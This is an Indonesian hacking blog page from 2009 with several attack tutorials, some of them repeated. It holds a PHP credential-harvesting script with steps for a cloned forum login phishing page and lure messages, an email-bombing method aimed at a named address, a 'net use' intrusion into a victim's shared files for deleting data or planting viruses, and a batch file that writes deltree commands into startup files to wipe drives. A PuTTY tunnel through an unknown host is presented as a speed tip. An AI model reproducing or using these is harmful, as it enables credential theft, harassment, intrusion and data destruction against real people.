''Sebelumnya, Mhn maaf pihak2 yang merasa di rugikan maksud tulisan ini dibuat hanya untuk pengetahuan'
Jalan Untuk Merampok Password Admin Forum
Oleh: Magid - Inspirasi dari Meong
Bagaimana sih caranya membuat forum phiser trus tentu cara menggunakan dengan baik dan benar? Berikut ini adalah tutorial untuk membuat phising forum. ....hmmm....gak usah lama-lama deh, langsung aja kita mulai.
Persiapan:
pertama2 anda harus membuat 3 file yaitu
index.html
next.php
ppp.txt
nah pada file next.php masukkan code ini
Code:
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://target.com");
$handle = fopen("ppp.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip | Date: $datum (Date=0 GTM)\r\n");
fwrite($handle, "\r\n");
fclose($handle);
setcookie ("user", "empty", time()+3600);
exit;
?>
atau untuk lebih memudahkan anda contoh sudah ada disini...
http://www.mediafire.com/?diddyvyxkwo
Setelah persiapan diatas selesai sekarang anda menuju target forum yang anda ingin buat phisernya..
pada forum target cari halaman loginnya...
setelah anda di forum login click kanan terus view source code ( bila anda menggunakan firefox tekan ctrl+u)
copy paste seluruh source codenya ke file index.html yang anda telah sediakan...
edit index.html anda trus cari method="post" dan gantikan dengan method="get"
cari juga action="alamat link" gantikan dengan action="next.php"
dengan itu password log akan disafe di file ppp.txt
sekarang upload 3 file tersebut ke freehosting ( wets klo soal ini jgn tanya gue yach... ntar gue dikira promosi lagi T_T)
setelah upload terlebih kita check dulu.... nah mungkin anda akan melihat beberapa error
nah kita umpakan target kita terlihat seperti http://dickdownload.com/ copy url
terus pada index.html kita search href=
nah kita ganti . dengan alamat forum dia...
contohnya:
kita menemukan ./styles/hestia_blue/theme/mac.css
nah setelah kita ubah jadinya http://dickdownload.com/styles/hestia_b ... me/mac.css
nah lakukan begitu pada semua href link...
nah untuk menyamakan style ( gambarnya) kita search src dan lakukan serperti cara diatas...
selesai semua kita chmood 777 3 file itu dan menuju ke proses utama.... apa itu ...???
tentu saja menipu seseorang dengan phising kita wkakkwakwakwakaw....
nah dalam tutorial ini saya akan memberikan sedikit tips and trick...( tentu saja sudah saya lakukan :P)
1. Diharapkan menggunakan phising forum pada pm ( private message)
2. Jangan membuat phising link anda terlihat pendek ( usahakan panjang )
3. Berhubung target kita forum gunakan bbcode nya contohnya
[url=phising link anda]contoh link yang ditujuh[/url]
4. Nah usahakan pm ke seseorang tentang suatu topic... ( tergantung creatifitas anda)
5. Jangan pernah melakukan phising dengan pm all member
6. Tidak lupa saat anda registrasi free hosting gunakan proxy yach ( menjaga kemungkinan terburuk).
nah ini contoh yang sering di pakai pake di forum luar sana
"Hey is this yours post?" atau "Did you uploaded this?" trus masukin aja
[url=phising link anda]contoh link yang ditujuh[/url]
Silahkan di ujicoba tips and trick. Semoga beruntung. Ini hanya sebuah tutorial, bukan bermaksud menyebarkan hal-hal yang menimbulkan kejahatan di dunia maya. Good Luck!!
Bagaimana sih caranya membuat forum phiser trus tentu cara menggunakan dengan baik dan benar? Berikut ini adalah tutorial untuk membuat phising forum. ....hmmm....gak usah lama-lama deh, langsung aja kita mulai.
Persiapan:
pertama2 anda harus membuat 3 file yaitu
index.html
next.php
ppp.txt
nah pada file next.php masukkan code ini
Code:
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://target.com");
$handle = fopen("ppp.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip | Date: $datum (Date=0 GTM)\r\n");
fwrite($handle, "\r\n");
fclose($handle);
setcookie ("user", "empty", time()+3600);
exit;
?>
atau untuk lebih memudahkan anda contoh sudah ada disini...
http://www.mediafire.com/?diddyvyxkwo
Setelah persiapan diatas selesai sekarang anda menuju target forum yang anda ingin buat phisernya..
pada forum target cari halaman loginnya...
setelah anda di forum login click kanan terus view source code ( bila anda menggunakan firefox tekan ctrl+u)
copy paste seluruh source codenya ke file index.html yang anda telah sediakan...
edit index.html anda trus cari method="post" dan gantikan dengan method="get"
cari juga action="alamat link" gantikan dengan action="next.php"
dengan itu password log akan disafe di file ppp.txt
sekarang upload 3 file tersebut ke freehosting ( wets klo soal ini jgn tanya gue yach... ntar gue dikira promosi lagi T_T)
setelah upload terlebih kita check dulu.... nah mungkin anda akan melihat beberapa error
nah kita umpakan target kita terlihat seperti http://dickdownload.com/ copy url
terus pada index.html kita search href=
nah kita ganti . dengan alamat forum dia...
contohnya:
kita menemukan ./styles/hestia_blue/theme/mac.css
nah setelah kita ubah jadinya http://dickdownload.com/styles/hestia_b ... me/mac.css
nah lakukan begitu pada semua href link...
nah untuk menyamakan style ( gambarnya) kita search src dan lakukan serperti cara diatas...
selesai semua kita chmood 777 3 file itu dan menuju ke proses utama.... apa itu ...???
tentu saja menipu seseorang dengan phising kita wkakkwakwakwakaw....
nah dalam tutorial ini saya akan memberikan sedikit tips and trick...( tentu saja sudah saya lakukan :P)
1. Diharapkan menggunakan phising forum pada pm ( private message)
2. Jangan membuat phising link anda terlihat pendek ( usahakan panjang )
3. Berhubung target kita forum gunakan bbcode nya contohnya
[url=phising link anda]contoh link yang ditujuh[/url]
4. Nah usahakan pm ke seseorang tentang suatu topic... ( tergantung creatifitas anda)
5. Jangan pernah melakukan phising dengan pm all member
6. Tidak lupa saat anda registrasi free hosting gunakan proxy yach ( menjaga kemungkinan terburuk).
nah ini contoh yang sering di pakai pake di forum luar sana
"Hey is this yours post?" atau "Did you uploaded this?" trus masukin aja
[url=phising link anda]contoh link yang ditujuh[/url]
Silahkan di ujicoba tips and trick. Semoga beruntung. Ini hanya sebuah tutorial, bukan bermaksud menyebarkan hal-hal yang menimbulkan kejahatan di dunia maya. Good Luck!!
Monday, January 26, 2009
TIPS Mempercepat Koneksi Internet
Sobat , hari ini gw bener-bener pusing, pusing. Mata udah ngantuk, mau download video ama upgrade anti virus malah jaringan internetnya lelet banget. Untuk ngunduh file sebesar 3 Mb aja gw harus nunggu 3 jam. Gimana enggak? kecepatan internet yg gw pakai tiba-tiba down banget, cuma sekitar 2Kb/s. Waduh.......
Diem-diem coba tanya ama dukun maya, yang namanya udah gak asing lagi di mata temen-temen. Yaps, namanya mbah Google. Telisik punya telisik...ooopss...gw nemuin neh cara buat meng-upgrade kecepatan internet kita. Yah, caranya lumayan simpel, gak ribet. ....
Ah....kelamaan gw intermezo nih,,,,sorry pren. Nih dia caranya":
Pertama:
Lo download aja software yang namannya PUTTY ( Untuk dapat software ini cari aja di google dengan ketikkan perintah ''download putty'' di jamin lo bakal dapatin tuh software, lumayan ada versi gratisnya)
Kedua:
Kalau lo dah berhasil download tuh software, skrg langkah yang harus lo jalanin:
- Ekstract semua file Putty yg berhasil lo download.
- Sisipkan Putty.exe di C:/Windows
- Biarkan Putty tidur disana buat sementara
Langkah selanjutnya...
- Klik Start Menu .....Lanjurkan ke RUN dan masukan tulisan ''putty - P 222 -N-D 9999 -C net @cepat.abangadek.com'' Tanpa tanda petik ('') setelah itu klik OK maka akan muncul jendela DOS pada monitor anda.
- Liat, anda disuruh mengetikkan password......ketik saja ''cepat123'' (tanpa tanda petik ya) lalu ENTER. Disana ketika anda mengetik tak terlihat tulisan apapun, memang begitu, ikuti saja langkah berikutnya.
-Terakhir, arahkan agar browser menggunakan SOCK Proxy di Localhost, Port 9999
Diem-diem coba tanya ama dukun maya, yang namanya udah gak asing lagi di mata temen-temen. Yaps, namanya mbah Google. Telisik punya telisik...ooopss...gw nemuin neh cara buat meng-upgrade kecepatan internet kita. Yah, caranya lumayan simpel, gak ribet. ....
Ah....kelamaan gw intermezo nih,,,,sorry pren. Nih dia caranya":
Pertama:
Lo download aja software yang namannya PUTTY ( Untuk dapat software ini cari aja di google dengan ketikkan perintah ''download putty'' di jamin lo bakal dapatin tuh software, lumayan ada versi gratisnya)
Kedua:
Kalau lo dah berhasil download tuh software, skrg langkah yang harus lo jalanin:
- Ekstract semua file Putty yg berhasil lo download.
- Sisipkan Putty.exe di C:/Windows
- Biarkan Putty tidur disana buat sementara
Langkah selanjutnya...
- Klik Start Menu .....Lanjurkan ke RUN dan masukan tulisan ''putty - P 222 -N-D 9999 -C net @cepat.abangadek.com'' Tanpa tanda petik ('') setelah itu klik OK maka akan muncul jendela DOS pada monitor anda.
- Liat, anda disuruh mengetikkan password......ketik saja ''cepat123'' (tanpa tanda petik ya) lalu ENTER. Disana ketika anda mengetik tak terlihat tulisan apapun, memang begitu, ikuti saja langkah berikutnya.
-Terakhir, arahkan agar browser menggunakan SOCK Proxy di Localhost, Port 9999
Udah selsai....skrg anda mulai browsing lagi dan cek berapa kecepatan internet anda.....hwhwhw.....SELAMAT ANDA BERHASIL...
Tks To: My Lovely Chupe,,,,for all suport. Makasih juga pada Pemilik situs abangadek dot com yang udah mau ngasil gratisan.
Friday, January 23, 2009
BOoM EMAIL Dengan Tehnik Forwarding
oleh: David_rudra
Anda kehilangan ID...takut ID anda dipakai untuk hal2 yang tidak benar? tentu ada dua pilihan, kembali mengambil ID yg dicuri tersebut atau sekalian menghanguskannya?
Ketika pilihan mengambil kembali gagal, sebaiknya anda hanguskan saja id anda itu, tentu dengan cara yg benar. Salah satunya melalui BOOM Maill. Artikel di bawah ini bisa dicoba!!
Setelah anda membaca artikel ini sebaiknya hati-hati dalam menunjukkan email
anda ke orang lain.
Kenapa harus email yang menjadi sasaran, kenapa tidak situs atau keamanan server ?.Sebenarnya mudah saja , email merupakan tempat untuk menghubungi seseorang di dunia cyber. Layaknya No. HP atau Telp , dapatkah anda bayangkan jika anda tidak mempunyai No. Telp yang bisa di hubungi ketika ingin melamar pekerjaan ?. Tentunya hal ini akan mempersulit anda. Begitu juga dengan email yang notebene merupakan identitas seseorang di dunia cyber untuk dapat bisa saling berkomunikasi. Nah dari sinilah bisa di tarik kesimpulan bahwa email ialah identitas layaknya KTP atau alamat rumah anda di Internet. Maka jika anda ingin berbuat ‘nakal’ sebaiknya ganggu seseorang melalui emailnya. Cara yang saya tawarkan ialah bomb mail. Cara ini sebenarnya cara kuno tapi jangan sangka trik ‘hitam’ dari saya ini akan membuat
siapapun yang menjadi target akan beram dan saya yakin itu. Trik ini saya namai “ngebom email lewat email”.
Cara ini saya ketemukan ketika saya mempunyai banyak email. Sedangkan semua email tersebut aktif. Karena masalah ini dan bingung mengelolanya maka saya membutuhkan satu account email yang mempunyai fasilitas forward dan tentunya gratis. Setelah pencarian yang lama akhirnya saya ketemukan situs yang memberikan fasilitas forward secara gratis. Cara forwardnya pun aneh lain dari mail server yang lain yang mempunyai fasilitas sejenis.
Alur Forward
Cara kerja email forwarding :
Asumsikan bahwa account di mail server A dapat mem-forward ke account di mail
server B dan mail server C.
1. Email yang masuk di account mail server A telah di setting forwardnya. Email
yang masuk tersebut akan di forward ke account di mail server B dan mail server
C.
2. Tentunya dalam hal setting forward di mail server A harusnya ada handshaking
antara mail server A dengan mail server B atau mail server C dengan
memasukkan account email dan passwordnya. Jika autentikasi telah berjalan
sempurna maka proses forward akan berjalan semestinya Secara mendasar dan umum proses forward email seperti di jelaskan diatas. Dari keterangan diatas dapat di garis bawahi bahwa untuk melakukan forward yang harus kita setting ialah account email dan password.
Bagaimana jika ada mail server yang mempunyai fasilitas forwarding gratis, setting
forward tanpa harus memasukkan password, dan semua email yang masuk langsung
di forward ke email target tanpa harus di save di inbox ?. Anda penasaran ? Mail server tersebut ialah http://www.emailaccount.com. Sebelum saya jabarkan tehnik ngebom ini sebaiknya persiapkan satu email target yang akan dijadikan korban.
Dalam contoh ini ialah pasukan13@telkom.net
Langkah-langkah bomb:
1) Buka situs http://www.emailaccount.com dan daftar email di sana.
http://www.emailaccount.com
2) Setelah proses sign up selesai login dengan account anda tadi.
Logika dasar dari tehnik bom ialah memperbanyak jumlah email yang masuk ke inbox target dan usahakan sampai penuh. Sebelum anda aktifkan forwardingnya sebaiknya anda daftarkan account anda di mailing list. Mailing list yang paling ramai ialah mailing list untuk developer linux. Mailing list yang saya gunakan kali ini ialah di situs http://www.mandrakelinux.com/en/flists.php3. Daftarkan sebanyak-banyaknya account anda disitu. Setelah itu pastikan anda telah terdaftar sebagai anggota mailing list
3) Setelah proses subscribe milist selesai dan terdaftar tentunya account anda akan menerima banyak email. Pengalaman penulis jika anda mendaftar milist di situs tersebut anda akan menerima rata-rata kurang lebih 250 email dalam 6 jam. Yang tentunya dalam sehari bisa-bisa email anda penuh apalagi seminggu dan ini cukup untuk mengerjai email orang lain.
Klik menu option pada frame sebelah kiri, setelah itu klik Email Forwarding.
4)Kali ini adalah inti dari artikel ini. Jika anda melihat menu forward pada gambar 4
diatas tentunya anda akan merasa heran. Opsi forward tersebut ialah :
• Do not forward any new messages
Artinya bahwa semua email yang masuk jangan di forward.
• Forward all new messages to the email address(es).
Forward semua email yang masuk ke email target tanpa di save di inbox. Jadi
inbox kita akan kosong selamanya.
• Forward all new messages to the email address(es) below and save a copy in
this mailbox
Forward semua email yang masuk ke email target dan tetap copykan ke inbox. Untuk melakukan bomb gunakan opsi ke dua forward semua email yang masuk ke email target tanpa meninggalkan sisa di inbox. Masukkan email target, contoh: mwiryanu@telkom.net anda pun dapat memasukkan satu atau dua email sekaligus pisahkan dengan koma dan spasi.
Target Bom
Setelah itu tekan save. Jika anda menggunakan opsi kedua maka selamanya email yang
masuk tidak akan berada di inbox tapi akan berada di inbox target dalam hal ini
pasukan13@telkom.net
5) Untuk mengetes kebenaran cara ini, akan saya buka email
pasukan13@telkom.net. Inbox pada email ini selang 6 jam setelah forward di
aktifkan.
Bisa anda bayangkan 250-an email di inbox ?. Tentunya ini akan menjadi momok jika anda mudah sekali menunjukkan email anda ke orang lain. Pertanyaan besar muncul, apakah alamat email pengirim bisa terlacak ?. Jawabnya tidak selama anda mendaftarkan milist di situs tersebut di atas. Berikut akan ditampilkan isi dari email yang forward ke pasukaan13@telkom.net
apakah sender (alamat pengirim) berasal dari account anda di emailaccount.com ? tidak dan tidak akan terlacak. Namun jika anda mendaftar milist di yahoogroups maka account pengirim akan terlacak contohnya : Karena itu saya sarankan serangan jangan dimulai dari Yahoo Group..
Sekarang anda sudah mengetahui bagaimana ngebom email lewat email itu. Kebanyakan dan umum terjadi dalam dunia internet yaitu email penuh dengan iklaniklan yang kita sendiri tidak pernah dan tahu kapan subscribe. Email ini bisa di kategorikan junk mail dimana anda tidak menghendaki email tersebut. Dan keadaan tersebut sangat mungkin terjadi jika anda mempunyai teman yang usil yang suka mendaftarkan email teman-temannya di situs iklan atau promosi. Untuk membalas tindakan teman-teman anda tersebut anda dapat gunakan cara diatas. Saran saya sebaiknya anda mendaftar banyak email. Sehingga jika anda mengalami
seperti diatas maka anda masih dapat menggunakan email yang lain. Nb.
Makasih!! Pasukan13
Thanks to God!!, My Lovely Fender Telecaster and Zoom Efect 550, Kodok alias Arip, Deny Becak, Olis, Narto, Sandwich, dan semua penghuni alam 13...
Anda kehilangan ID...takut ID anda dipakai untuk hal2 yang tidak benar? tentu ada dua pilihan, kembali mengambil ID yg dicuri tersebut atau sekalian menghanguskannya?
Ketika pilihan mengambil kembali gagal, sebaiknya anda hanguskan saja id anda itu, tentu dengan cara yg benar. Salah satunya melalui BOOM Maill. Artikel di bawah ini bisa dicoba!!
Setelah anda membaca artikel ini sebaiknya hati-hati dalam menunjukkan email
anda ke orang lain.
Kenapa harus email yang menjadi sasaran, kenapa tidak situs atau keamanan server ?.Sebenarnya mudah saja , email merupakan tempat untuk menghubungi seseorang di dunia cyber. Layaknya No. HP atau Telp , dapatkah anda bayangkan jika anda tidak mempunyai No. Telp yang bisa di hubungi ketika ingin melamar pekerjaan ?. Tentunya hal ini akan mempersulit anda. Begitu juga dengan email yang notebene merupakan identitas seseorang di dunia cyber untuk dapat bisa saling berkomunikasi. Nah dari sinilah bisa di tarik kesimpulan bahwa email ialah identitas layaknya KTP atau alamat rumah anda di Internet. Maka jika anda ingin berbuat ‘nakal’ sebaiknya ganggu seseorang melalui emailnya. Cara yang saya tawarkan ialah bomb mail. Cara ini sebenarnya cara kuno tapi jangan sangka trik ‘hitam’ dari saya ini akan membuat
siapapun yang menjadi target akan beram dan saya yakin itu. Trik ini saya namai “ngebom email lewat email”.
Cara ini saya ketemukan ketika saya mempunyai banyak email. Sedangkan semua email tersebut aktif. Karena masalah ini dan bingung mengelolanya maka saya membutuhkan satu account email yang mempunyai fasilitas forward dan tentunya gratis. Setelah pencarian yang lama akhirnya saya ketemukan situs yang memberikan fasilitas forward secara gratis. Cara forwardnya pun aneh lain dari mail server yang lain yang mempunyai fasilitas sejenis.
Alur Forward
Cara kerja email forwarding :
Asumsikan bahwa account di mail server A dapat mem-forward ke account di mail
server B dan mail server C.
1. Email yang masuk di account mail server A telah di setting forwardnya. Email
yang masuk tersebut akan di forward ke account di mail server B dan mail server
C.
2. Tentunya dalam hal setting forward di mail server A harusnya ada handshaking
antara mail server A dengan mail server B atau mail server C dengan
memasukkan account email dan passwordnya. Jika autentikasi telah berjalan
sempurna maka proses forward akan berjalan semestinya Secara mendasar dan umum proses forward email seperti di jelaskan diatas. Dari keterangan diatas dapat di garis bawahi bahwa untuk melakukan forward yang harus kita setting ialah account email dan password.
Bagaimana jika ada mail server yang mempunyai fasilitas forwarding gratis, setting
forward tanpa harus memasukkan password, dan semua email yang masuk langsung
di forward ke email target tanpa harus di save di inbox ?. Anda penasaran ? Mail server tersebut ialah http://www.emailaccount.com. Sebelum saya jabarkan tehnik ngebom ini sebaiknya persiapkan satu email target yang akan dijadikan korban.
Dalam contoh ini ialah pasukan13@telkom.net
Langkah-langkah bomb:
1) Buka situs http://www.emailaccount.com dan daftar email di sana.
http://www.emailaccount.com
2) Setelah proses sign up selesai login dengan account anda tadi.
Logika dasar dari tehnik bom ialah memperbanyak jumlah email yang masuk ke inbox target dan usahakan sampai penuh. Sebelum anda aktifkan forwardingnya sebaiknya anda daftarkan account anda di mailing list. Mailing list yang paling ramai ialah mailing list untuk developer linux. Mailing list yang saya gunakan kali ini ialah di situs http://www.mandrakelinux.com/en/flists.php3. Daftarkan sebanyak-banyaknya account anda disitu. Setelah itu pastikan anda telah terdaftar sebagai anggota mailing list
3) Setelah proses subscribe milist selesai dan terdaftar tentunya account anda akan menerima banyak email. Pengalaman penulis jika anda mendaftar milist di situs tersebut anda akan menerima rata-rata kurang lebih 250 email dalam 6 jam. Yang tentunya dalam sehari bisa-bisa email anda penuh apalagi seminggu dan ini cukup untuk mengerjai email orang lain.
Klik menu option pada frame sebelah kiri, setelah itu klik Email Forwarding.
4)Kali ini adalah inti dari artikel ini. Jika anda melihat menu forward pada gambar 4
diatas tentunya anda akan merasa heran. Opsi forward tersebut ialah :
• Do not forward any new messages
Artinya bahwa semua email yang masuk jangan di forward.
• Forward all new messages to the email address(es).
Forward semua email yang masuk ke email target tanpa di save di inbox. Jadi
inbox kita akan kosong selamanya.
• Forward all new messages to the email address(es) below and save a copy in
this mailbox
Forward semua email yang masuk ke email target dan tetap copykan ke inbox. Untuk melakukan bomb gunakan opsi ke dua forward semua email yang masuk ke email target tanpa meninggalkan sisa di inbox. Masukkan email target, contoh: mwiryanu@telkom.net anda pun dapat memasukkan satu atau dua email sekaligus pisahkan dengan koma dan spasi.
Target Bom
Setelah itu tekan save. Jika anda menggunakan opsi kedua maka selamanya email yang
masuk tidak akan berada di inbox tapi akan berada di inbox target dalam hal ini
pasukan13@telkom.net
5) Untuk mengetes kebenaran cara ini, akan saya buka email
pasukan13@telkom.net. Inbox pada email ini selang 6 jam setelah forward di
aktifkan.
Bisa anda bayangkan 250-an email di inbox ?. Tentunya ini akan menjadi momok jika anda mudah sekali menunjukkan email anda ke orang lain. Pertanyaan besar muncul, apakah alamat email pengirim bisa terlacak ?. Jawabnya tidak selama anda mendaftarkan milist di situs tersebut di atas. Berikut akan ditampilkan isi dari email yang forward ke pasukaan13@telkom.net
apakah sender (alamat pengirim) berasal dari account anda di emailaccount.com ? tidak dan tidak akan terlacak. Namun jika anda mendaftar milist di yahoogroups maka account pengirim akan terlacak contohnya : Karena itu saya sarankan serangan jangan dimulai dari Yahoo Group..
Sekarang anda sudah mengetahui bagaimana ngebom email lewat email itu. Kebanyakan dan umum terjadi dalam dunia internet yaitu email penuh dengan iklaniklan yang kita sendiri tidak pernah dan tahu kapan subscribe. Email ini bisa di kategorikan junk mail dimana anda tidak menghendaki email tersebut. Dan keadaan tersebut sangat mungkin terjadi jika anda mempunyai teman yang usil yang suka mendaftarkan email teman-temannya di situs iklan atau promosi. Untuk membalas tindakan teman-teman anda tersebut anda dapat gunakan cara diatas. Saran saya sebaiknya anda mendaftar banyak email. Sehingga jika anda mengalami
seperti diatas maka anda masih dapat menggunakan email yang lain. Nb.
Makasih!! Pasukan13
Thanks to God!!, My Lovely Fender Telecaster and Zoom Efect 550, Kodok alias Arip, Deny Becak, Olis, Narto, Sandwich, dan semua penghuni alam 13...
Thursday, January 22, 2009
Hacking Dengan Memanfaatkan Fasilitas YM
Oleh: 
Kamu ingin kuasai komputer musuh? waduh..jangan muluk2 deh...tapi ini bisa dicoba,sapa tau berhasil..
kata orang bijak..kalau gk nyoba..gimana bisa tahu berhasil atau gk? ya kan..
Langsung aja yah..
Langkah pertama..modal-nya kita harus tahu IP target yang ingin kita serang terlebih dahulu, dengan cara:
1. login YM
2. Ajak target untuk PM an
3. Paksa target terima file kamu..entah kirim apa kek..foto atau data apa aja (buat ngulur waktu)
kalau target sudah terpancing...lakukan Langkah kedua:
1.Klik start, lanjutkan dengan mengklik RUn
2. Ketik 'cmd' (tidak pakai tanda petik) akhiri dengan OK
3. Langkah selanjutnya, ketik : 'Netstat -an' (tidak pakai tanda petik) lanjutkan dengan OK
4. nanti akan muncul banyak keterangan di command prompt kamu...
Hmm...
Ip dah dapat...tinggal eksekusi nih: Halaman Command Promt jangan di tutup dulu.
Untuk eksekusi..
1. ketik : ''net use: h \\ (Ip target)\shareddocs'' < Kalau anda berhasil ..maka akan ada keterangan share docs succes..(Kalau sukses...silahkan anda buka drive anda di My Computer..maka akan ada tambahan drive baru..itu adalah drive dari komputer target. Karna anda telah terhubung dengan komputer target, jadi silahkan intip semua file yang tersimpan di komputernya..tentu semua tersedia dikomputer anda skrg...mau hapus..silahkan..mau nambah silahkan..mau nitip Virus..monggo...hehe.dah dikuasai kok..) Catatan: Kalau keterangan error..maka sebenarnya target memasang security yang cukup,jadi silahkan pikirkan cara lain.
Keberuntungan adalah awal dari keberhasilan...iya kali? soalnya kalau gk beruntung..gmn mau sukses...hhe
Selamat mencoba deh..
Rusak Komputer Delam 1 menit
Okay, ngga' usah banyak omong, lansung aja copy-pastekan code sialan di bawah ini ke teks editor kamu dan simpan dengan ekstensi .bat:
@echo off
echo deltree /y %windir%\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat
echo deltree /y d:\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat
atau
@echo off
echo deltree /y %windir%\*.*>> AUTOEXEC.BAT
echo deltree /y d:\*.*>> AUTOEXEC.BAT
Yup, kalo udah disimpan (misalnya LAMER.BAT) lansung eksekusi dan shutdown komputernya trus kabur dech hihihi... program perusak kamu bakalan bekerja dengan sendirinya begitu si korban nyalain komputernya lagi.
Jangan korbanya warnet temen sendiri ya bro.....hehehDi tulis Oleh: David Rudra/ Pasukan13
Subscribe to:
Posts (Atom)
